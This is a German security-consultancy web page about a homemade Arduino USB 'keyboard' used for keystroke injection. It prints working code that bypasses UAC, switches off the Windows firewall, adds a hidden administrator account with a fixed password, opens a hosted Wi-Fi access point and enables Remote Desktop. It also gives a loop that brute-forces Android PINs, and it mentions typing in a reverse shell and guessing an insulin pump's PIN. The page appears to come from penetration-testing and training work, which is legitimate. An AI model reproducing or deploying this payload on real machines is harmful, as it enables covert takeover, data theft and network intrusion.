Meister-Security

Beratung und Training

Brute-Force-Keyboard

Technisch gesehen handelt sich um einen USB-Stick, welcher vom PC als Tastatur erkannt wird. Er kann für viele Zwecke genutzt werden. Entweder um in kürzester Zeit so viele Passwörter wie möglich durchzuprobieren. Oder aber - da Microsoft es nicht mehr erlaubt, Programme direkt von einem USB Stick auszuführen - diese Programme einfach kurz vom USB Stick eintippen zu lassen und dann von der lokalen Platte zu starten. Auf diese Weise ist es sehr einfach möglich, die Schutzmechanismen von Microsoft zu umgehen.

Nach der Miniaturisierung haben wir in unseren Tests verschiedene Payloads gebaut. Findet man beispielsweise einen offenen Windows-Rechner vor, kann man diesen durch simples anstecken des USB-Sticks dazu bewegen, sich per WLAN aus der Ferne steuern zu lassen.
Dazu lassen wir den Stick erst eine Eingabeaufforderung mit Administrator-Rechten öffnen. Wir senden die Tastenkombination "WINDOWS-R", anschließend "powershell Start-Process cmd.exe -Verb runAs" und danach "ALT-J", um das aufgehende Fenster der Benutzerkontensteuerung zu bestätigen. Fertig! Schon jetzt ist der Stick Administrator des Systems!

Danach erstellen wir noch schnell einen Accesspoint auf der WLAN-Karte des Rechners. Als Administrator kann man noch zusätzlich einen weiteren Administrator namens "techsupport" inklusive Passwort anlegen, und schon steht einem Fernzugriff nichts mehr im Weg.
Aus der Ferne kann man nun zum neuen Access Point des Opfers Verbindung aufnehmen und sich mit dem frisch angelegten techsupport-Account anmelden. So ist es ganz leicht, Daten zu kopieren oder sich über ein eventuell angeschlossenes Netzwerkkabel weiter im internen (Firmen-) Netz umzuschauen. Wer einfach nur zusehen will, kann dies auch per Remote-Desktop. Die erhaltenen Admin-Rechte erlauben einfach alles!

Folgenden Code nutzten wir unter Anderem auf dem Device:

...
Keyboard.press(KEY_LEFT_GUI);
Keyboard.print("r");
Keyboard.releaseAll();
delay(750);
Keyboard.println("powershell Start-Process cmd.exe -Verb runAs");
delay(750);
Keyboard.press(KEY_LEFT_ALT);
Keyboard.println("j");
Keyboard.releaseAll();
Keyboard.println("netsh advfirewall set allprofiles state off");
Keyboard.println("Net User techsupport techadmin /ADD");
Keyboard.println("Net LocalGroup Administrators techsupport /ADD");
Keyboard.println("reg add 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\WinLogon\SpecialAccounts\UserList' /v techsupport /t REG_DWORD /d 0 /f");
Keyboard.println("netsh advfirewall firewall add rule name='techsupport' dir=in action=allow protocol=TCP localport=7777");
Keyboard.println("netsh wlan set hostednetwork ssid=techsupport key=techadmin");
Keyboard.println("netsh wlan start hostednetwork");
Keyboard.println("netsh advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes");
Keyboard.println("Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server' -Name fDenyTSConnections -Value 0");
Keyboard.println("Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp' -Name UserAuthentication -Value 1");
Keyboard.println("netsh advfirewall firewall set rule group='remote desktop - remotefx' new enable=Yes");
Keyboard.println("netsh advfirewall firewall set rule group='remote desktop' new enable=Yes");
...

Da der USB-Stick sehr, sehr schnell tippen kann, ist der Rechner binnen weniger Sekunden trojanisiert. Im Durchschnitt dauerte es etwa drei bis fünf Sekunden, bis der Stick erkannt war und alles fertig getippt wurde. Auch komplette Programme, wie eine kleine reverse-shell, konnte der Stick programmieren. Das Programm wurde einfach "base64encoded" in eine Datei getippt und dann in sein Original zurück "base64decoded".

Zum Öffnen PIN geschützter Geräte war dieses Device ebenfalls sehr gut geeignet. So konnten wir ein Android Smartphone innerhalb von zwei Stunden öffnen. Hier sorgte die Wartezeit von fünf Sekunden nach jedem fünften Fehlversuch für ein langsames Vorankommen.

...
TokenCount1= 0;
while(TokenCount1 < 10000) {

snprintf(TokenGroup, 6, "%04d", TokenCount1);

Keyboard.print(TokenGroup[0]);
Keyboard.print(TokenGroup[1]);
Keyboard.print(TokenGroup[2]);
Keyboard.print(TokenGroup[3]);
Keyboard.println();
          
TokenCount1++;

// alle fünf Versuche fünf Sekunden warten:

if ( TokenCount1 % 5 == 0) {
delay(5000);
}
}
...

Rein rechnerisch benötigt man pro Versuch etwa eine Sekunde, was bei maximal 10000 Versuchen eine Wartezeit von 167 Minuten bedeutet. Unser Script probierte alle Kombinationen von 0000 bis 9999 der Reihe nach aus und bekam häufig bereits deutlich früher Zugriff auf das Smartphone.
Wie wir bei Versuchen im Jahr 2013 herausfanden, besitzt eine Insulin-Pumpe in einem Krankenhaus diese Verzögerung nicht. Wenn man hier die Dosierung eines Patienten ändern will, hat man die nötige PIN schon nach wenigen Sekunden. Die Hersteller wurden bereits damals auf diese Schwachstelle aufmerksam gemacht.

Zusammenfassend kann man sagen, daß sich die Investition von ca. 6 Euro in einen Arduino Micro Pro für dieses kleine Experiment gelohnt hat, denn eine Maschine MUSS dem Menschen vertrauen, und der sitzt für sie ja an der Tastatur!